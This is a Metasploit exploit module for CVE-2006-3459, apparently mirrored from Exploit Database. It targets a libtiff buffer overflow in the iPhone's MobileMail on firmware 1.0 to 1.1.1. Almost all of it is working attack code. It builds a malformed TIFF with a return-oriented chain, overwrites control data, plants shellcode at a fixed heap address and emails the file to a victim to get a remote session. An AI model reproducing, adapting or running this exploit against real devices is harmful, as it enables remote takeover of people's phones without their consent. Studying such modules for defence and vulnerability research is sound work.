iPhone MobileMail – LibTIFF Buffer Overflow (Metasploit)

• Exploit Database
• 114 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/16869/

• ##
  # $Id: mobilemail_libtiff.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	#
  	# This module sends email messages via smtp
  	#
  	include Msf::Exploit::Remote::SMTPDeliver
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'iPhone MobileMail LibTIFF Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the version of
  				libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
  				1.1.1 of the Apple iPhone. iPhones which have not had the BSD
  				tools installed will need to use a special payload.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>['hdm', 'kf'],
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					['CVE', '2006-3459'],
  					['OSVDB', '27723'],
  					['BID', '19283']
  				],
  			'Stance' => Msf::Exploit::Stance::Passive,
  			'Payload'=>
  				{
  					'Space'=> 1800,
  					'BadChars' => "",
  					'Compat' =>
  						{
  							'ConnectionType' => '-bind -find',
  						},
  				},
  			'Targets'=>
  				[
  
  					[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
  						{
  							'Platform' => 'osx',
  
  							# Scratch space for our shellcode and stack
  							'Heap' => 0x00802000,
  
  							# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
  							'Magic'=> 0x300d562c,
  						}
  					],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Aug 01 2006'
  			))
  
  	end
  
  	def autofilter
  		false
  	end
  
  	def exploit
  
  		exts = ['jpg', 'tiff', 'tif']
  
  		gext =exts[rand(exts.length)]
  		name = rand_text_alpha(rand(10)+1) + ".#{gext}"
  		data = Rex::Text.rand_text_alpha(rand(32)+1)
  		tiff = generate_tiff(target)
  
  		msg = Rex::MIME::Message.new
  		msg.mime_defaults
  		msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
  		msg.to = datastore['MAILTO']
  		msg.from = datastore['MAILFROM']
  
  		msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")
  		msg.add_part_attachment(tiff, rand_text_alpha(rand(32)+1) + "." + gext)
  
  		send_message(msg.to_s)
  
  		print_status("Waiting for a payload session (backgrounding)...")
  	end
  
  	def generate_tiff(targ)
  		#
  		# This is a TIFF file, we have a huge range of evasion
  		# capabilities, but for now, we don't use them.
  		#- https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
  		#
  
  		lolz = 2048
  		tiff =
  			"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
  			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  			"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
  			"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
  			"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
  			"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
  			"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
  			"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
  			"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
  			"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
  			[lolz].pack("V") +
  			"\x84\x00\x00\x00\x00\x00\x00\x00"
  
  		# Randomize the bajeezus out of our data
  		hehe = rand_text(lolz)
  
  		# Were going to candy mountain!
  		hehe[120, 4] = [targ['Magic']].pack("V")
  
  		# >> add r0, r4, #0x30
  		hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")
  
  		# Candy mountain, Charlie!
  		# >> mov r1, sp
  
  		# It will be an adventure!
  		# >> mov r2, r8
  		hehe[ 92, 4] = [ hehe.length ].pack("V")
  
  		# Its a magic leoplurodon!
  		# It has spoken!
  		# It has shown us the way!
  		# >> bl _memcpy
  
  		# Its just over this bridge, Charlie!
  		# This magical bridge!
  		# >> ldr r3, [r4, #32]
  		# >> ldrt r3, [pc], r3, lsr #30
  		# >> str r3, [r4, #32]
  		# >> ldr r3, [r4, #36]
  		# >> ldrt r3, [pc], r3, lsr #30
  		# >> str r3, [r4, #36]
  		# >> ldr r3, [r4, #40]
  		# >> ldrt r3, [pc], r3, lsr #30
  		# >> str r3, [r4, #40]
  		# >> ldr r3, [r4, #44]
  		# >> ldrt r3, [pc], r3, lsr #30
  		# >> str r3, [r4, #44]
  
  		# We made it to candy mountain!
  		# Go inside Charlie!
  		# sub sp, r7, #0x14
  		hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")
  
  		# Goodbye Charlie!
  		# ;; targ['Heap'] + 0x48 becomes the stack pointer
  		# >> ldmia sp!, {r8, r10}
  
  		# Hey, what the...!
  		# >> ldmia sp!, {r4, r5, r6, r7, pc}
  
  		# Return back to the copied heap data
  		hehe[192, 4] = [targ['Heap'] + 196].pack("V")
  
  		# Insert our actual shellcode at heap location + 196
  		hehe[196, payload.encoded.length] = payload.encoded
  
  		tiff << hehe
  	end
  
  end
  

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